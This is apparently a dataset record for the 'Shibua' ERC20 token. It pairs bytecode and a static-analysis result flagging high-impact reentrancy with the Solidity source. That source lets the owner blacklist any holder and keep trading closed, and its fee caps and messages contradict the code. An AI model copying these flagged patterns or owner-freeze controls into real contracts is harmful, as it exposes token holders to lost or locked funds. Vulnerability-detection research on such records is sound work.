b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1a55da2496908b78fbd8b68f71dadab549af302870fda8c0291761349265c2a64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,944 |
0xb8da78caac17aa39243bace9811645751e1bfb82 | /**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
Shibua
https://t.me/Shibua
https://twitter.com/Shibua
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shibua is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibua";
string private constant _symbol = "Shibua";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFFaa8f84326441e69f84a81C0BE5Cc320051326D);
address payable private _marketingAddress = payable(0x856908c0561FD417BBF3DF38b02e9fB28e1cF741);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aa7565b6105c8565b005b34801561020a57600080fd5b50604080518082018252600681526553686962756160d01b602082015290516102339190611b6c565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611bc1565b610667565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50683635c9adc5dea000005b604051908152602001610233565b3480156102d657600080fd5b5061025c6102e5366004611bed565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610233565b34801561032857600080fd5b5060155461028c906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611c2e565b6106e7565b34801561036857600080fd5b506101fc610377366004611c5b565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611c2e565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611c76565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611c2e565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028c565b34801561045357600080fd5b506101fc610462366004611c5b565b61089a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611c76565b6108e2565b3480156104a957600080fd5b506101fc6104b8366004611c8f565b610911565b3480156104c957600080fd5b5061025c6104d8366004611bc1565b610ac7565b3480156104e957600080fd5b5061025c6104f8366004611c2e565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc610ad4565b34801561052e57600080fd5b506101fc61053d366004611cc1565b610b28565b34801561054e57600080fd5b506102bc61055d366004611d45565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611c76565b610bc9565b3480156105b457600080fd5b506101fc6105c3366004611c2e565b610bf8565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611d7e565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611db3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611ddf565b9150506105fe565b5050565b6000610674338484610ce2565b5060015b92915050565b600061068b848484610e06565b6106dd84336106d885604051806060016040528060288152602001611ef9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611342565b610ce2565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611d7e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611d7e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c28161137c565b50565b6001600160a01b038116600090815260026020526040812054610678906113b6565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611d7e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611d7e565b674563918244f400008111156107c257601655565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016105f290611d7e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090c5760405162461bcd60e51b81526004016105f290611d7e565b601855565b6000546001600160a01b0316331461093b5760405162461bcd60e51b81526004016105f290611d7e565b600484111561099a5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f2565b600e8211156109f65760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f2565b6004831115610a565760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f2565b600e811115610ab35760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f2565b600893909355600a91909155600955600b55565b6000610674338484610e06565b6012546001600160a01b0316336001600160a01b03161480610b0957506013546001600160a01b0316336001600160a01b0316145b610b1257600080fd5b6000610b1d306107c5565b90506107c28161143a565b6000546001600160a01b03163314610b525760405162461bcd60e51b81526004016105f290611d7e565b60005b82811015610bc3578160056000868685818110610b7457610b74611db3565b9050602002016020810190610b899190611c2e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbb81611ddf565b915050610b55565b50505050565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016105f290611d7e565b601755565b6000546001600160a01b03163314610c225760405162461bcd60e51b81526004016105f290611d7e565b6001600160a01b038116610c875760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610da55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610ecc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610f2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610f5a57506000546001600160a01b03838116911614155b1561123b57601554600160a01b900460ff16610ff3576000546001600160a01b03848116911614610ff35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b6016548111156110455760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff1615801561108757506001600160a01b03821660009081526010602052604090205460ff16155b6110df5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b038381169116146111645760175481611101846107c5565b61110b9190611dfa565b106111645760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b600061116f306107c5565b6018546016549192508210159082106111885760165491505b80801561119f5750601554600160a81b900460ff16155b80156111b957506015546001600160a01b03868116911614155b80156111ce5750601554600160b01b900460ff165b80156111f357506001600160a01b03851660009081526005602052604090205460ff16155b801561121857506001600160a01b03841660009081526005602052604090205460ff16155b15611238576112268261143a565b478015611236576112364761137c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127d57506001600160a01b03831660009081526005602052604090205460ff165b806112af57506015546001600160a01b038581169116148015906112af57506015546001600160a01b03848116911614155b156112bc57506000611336565b6015546001600160a01b0385811691161480156112e757506014546001600160a01b03848116911614155b156112f957600854600c55600954600d555b6015546001600160a01b03848116911614801561132457506014546001600160a01b03858116911614155b1561133657600a54600c55600b54600d555b610bc3848484846115b4565b600081848411156113665760405162461bcd60e51b81526004016105f29190611b6c565b5060006113738486611e12565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b600060065482111561141d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b60006114276115e2565b90506114338382611605565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148257611482611db3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190611e29565b8160018151811061151257611512611db3565b6001600160a01b0392831660209182029290920101526014546115389130911684610ce2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611571908590600090869030904290600401611e46565b600060405180830381600087803b15801561158b57600080fd5b505af115801561159f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c1576115c1611647565b6115cc848484611675565b80610bc357610bc3600e54600c55600f54600d55565b60008060006115ef61176c565b90925090506115fe8282611605565b9250505090565b600061143383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b600c541580156116575750600d54155b1561165e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611687876117dc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b99087611839565b6001600160a01b03808b1660009